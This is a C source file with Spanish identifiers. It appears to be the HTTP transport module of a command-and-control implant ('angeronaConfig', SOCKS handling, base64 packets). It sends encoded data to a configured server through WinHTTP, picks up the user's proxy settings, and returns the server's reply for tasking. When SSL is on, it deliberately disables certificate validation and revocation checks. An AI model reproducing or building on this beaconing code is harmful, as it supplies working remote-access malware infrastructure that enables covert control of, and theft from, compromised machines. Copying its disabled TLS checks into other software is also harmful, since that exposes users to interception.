#include "transporte.h"
#include "socks_manager.h"

#define _WIN32_WINNT 0x0602
#include <winhttp.h>

#ifndef WINHTTP_OPTION_ENABLE_SSL_REVOCATION
#define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70
#endif


/* =======================================================
   Obtener código de estado HTTP
   ======================================================= */
int obtenerCodigoDeEstado(HANDLE hPeticion) {
    DWORD codigoDeEstado = 0;
    DWORD tamanoEstado = sizeof(DWORD);
    if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
        WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
        return 0;
    return codigoDeEstado;
}

/* =======================================================
   Procesar tráfico SOCKS desde respuesta HTTP
   ======================================================= */
static VOID procesarSocksEntrante(PAnalizador respuesta) {
    /* Placeholder desactivado: la estructura Analizador no define bloques.
       Mantener función para futuras extensiones sin romper build. */
    (void)respuesta;
}

/* =======================================================
   Petición HTTP (envío + recepción)
   ======================================================= */
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
    _dbg("realizarPeticionHTTP() bufferLen=%u", bufferLen);

    HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
    DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
    PVOID respBuffer = NULL;
    DWORD respSize = 0;
    UCHAR buffer[1024] = { 0 };
    DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
    wchar_t urlBuffer[512] = {0};  // Declare at function scope

    WINHTTP_PROXY_INFO infoProxy = { 0 };
    WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
    DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
    LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
    LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;

    if (angeronaConfig->proxyHabilitado && angeronaConfig->urlProxy) {
        tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
        httpProxy = angeronaConfig->urlProxy;
    }

    if (angeronaConfig->SSL) {
        httpFlags |= WINHTTP_FLAG_SECURE;
    }

    _dbg("WinHttpOpen()");
    hSesion = WinHttpOpen(angeronaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
    if (!hSesion) {
        _err("WinHttpOpen falló (%lu)", GetLastError());
        return NULL;
    }
    _dbg("WinHttpOpen OK");

    _dbg("WinHttpConnect() host=%ls port=%d", angeronaConfig->hostName, angeronaConfig->puertoHttp);
    hConexion = WinHttpConnect(hSesion, angeronaConfig->hostName, angeronaConfig->puertoHttp, 0);
    if (!hConexion) {
        _err("WinHttpConnect falló (%lu)", GetLastError());
        WinHttpCloseHandle(hSesion);
        return NULL;
    }
    _dbg("WinHttpConnect OK");

    // Log complete URL - ensure endpoint starts with /
    wchar_t endpointBuf[256];
    if (angeronaConfig->endPoint && angeronaConfig->endPoint[0] != L'/') {
        swprintf(endpointBuf, 256, L"/%ls", angeronaConfig->endPoint);
    } else {
        wcsncpy(endpointBuf, angeronaConfig->endPoint ? angeronaConfig->endPoint : L"", 256);
    }
    
    swprintf(urlBuffer, 512, L"%ls://%ls:%d%ls", 
             angeronaConfig->SSL ? L"https" : L"http",
             angeronaConfig->hostName, 
             angeronaConfig->puertoHttp,
             endpointBuf);
    _dbg("Complete URL: %ls", urlBuffer);
    
    _dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x", 
         endpointBuf, angeronaConfig->metodoHttp, httpFlags);
    hPeticion = WinHttpOpenRequest(hConexion, angeronaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags);
    if (!hPeticion) {
        _err("WinHttpOpenRequest falló (%lu)", GetLastError());
        WinHttpCloseHandle(hConexion);
        WinHttpCloseHandle(hSesion);
        return NULL;
    }
    _dbg("WinHttpOpenRequest OK");

    if (angeronaConfig->SSL) {
        _dbg("Configurando opciones SSL");
        DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
            SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
            SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
            SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
        if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) {
            _wrn("WinHttpSetOption SECURITY_FLAGS falló (%lu)", GetLastError());
        } else {
            _dbg("SSL flags configurados OK");
        }
        
        // También configurar para deshabilitar revocación de certificados
        DWORD dwEnableSSLRevocCheck = 0;
        WinHttpSetOption(hPeticion, WINHTTP_OPTION_ENABLE_SSL_REVOCATION, &dwEnableSSLRevocCheck, sizeof(DWORD));
    }

    if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
        if (configuracionProxy.lpszProxy && lstrlenW(configuracionProxy.lpszProxy) != 0) {
            infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
            infoProxy.lpszProxy = configuracionProxy.lpszProxy;
            infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
            WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
        }
    }

    _dbg("Enviando %u bytes de datos codificados", bufferLen);
    
    // Log first 100 bytes of data being sent (base64 preview)
    if (bufferLen > 0 && bufferIn) {
        char preview[101] = {0};
        size_t previewLen = bufferLen > 100 ? 100 : bufferLen;
        memcpy(preview, bufferIn, previewLen);
        preview[previewLen] = '\0';
        _dbg("Data preview (first %zu bytes): %s", previewLen, preview);
        if (bufferLen > 100) {
            _dbg("... (total %u bytes, showing first 100)", bufferLen);
        }
    }
    
    if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
        _err("WinHttpSendRequest falló (%lu)", GetLastError());
        WinHttpCloseHandle(hPeticion);
        WinHttpCloseHandle(hConexion);
        WinHttpCloseHandle(hSesion);
        return NULL;
    }
    _dbg("WinHttpSendRequest OK");

    _dbg("Esperando respuesta...");
    if (!WinHttpReceiveResponse(hPeticion, NULL)) {
        _err("WinHttpReceiveResponse falló (%lu)", GetLastError());
        WinHttpCloseHandle(hPeticion);
        WinHttpCloseHandle(hConexion);
        WinHttpCloseHandle(hSesion);
        return NULL;
    }
    _dbg("WinHttpReceiveResponse OK");

    codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
    _dbg("HTTP status = %lu", codigoDeEstado);
    
    // Try to get response headers for debugging
    if (codigoDeEstado != 200) {
        wchar_t headers[2048] = {0};
        DWORD headerSize = sizeof(headers) / sizeof(wchar_t);
        if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF, 
                                WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) {
            _dbg("Response headers:");
            _dbg("%ls", headers);
        } else {
            _wrn("Could not retrieve response headers (error: %lu)", GetLastError());
        }
    }
    
    if (codigoDeEstado != 200) {
        _err("HTTP status no OK --> %lu", codigoDeEstado);
        _err("Request URL was: %ls", urlBuffer);
        _err("Request size was: %u bytes", bufferLen);
        WinHttpCloseHandle(hPeticion);
        WinHttpCloseHandle(hConexion);
        WinHttpCloseHandle(hSesion);
        return NULL;
    }
    _dbg("HTTP status OK (200)");

    do {
        dwTamano = 1024;
        if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
            _err("WinHttpQueryDataAvailable falló (%lu)\n", GetLastError());
            break;
        }
        if (dwTamano == 0) break;

        if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
            _err("WinHttpReadData falló (%lu)\n", GetLastError());
            break;
        }

        respSize += dwDescargado;
        respBuffer = respBuffer ? LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT)
                                : LocalAlloc(LPTR, respSize);

        memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
        _dbg("Recibidos %u bytes (%lu totales)", dwDescargado, respSize);
        memset(buffer, 0, sizeof(buffer));
    } while (dwTamano > 0);

    _dbg("Respuesta total %lu bytes", respSize);
    WinHttpCloseHandle(hPeticion);
    WinHttpCloseHandle(hConexion);
    WinHttpCloseHandle(hSesion);

    respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
    PAnalizador analizador = nuevoAnalizador((PBYTE)respBuffer, respSize);

    /* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */
    /* Aquí solo devolvemos el analizador con los datos base64-encoded */

    _dbg("realizarPeticionHTTP() completado");
    return analizador;
}

/* =======================================================
   Función principal de transporte (puente con el resto)
   ======================================================= */
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
    _dbg("mandarYRecibir() len=%zu", tamano);
    return realizarPeticionHTTP(datos, (UINT32)tamano);
#else
    return NULL;
#endif
}
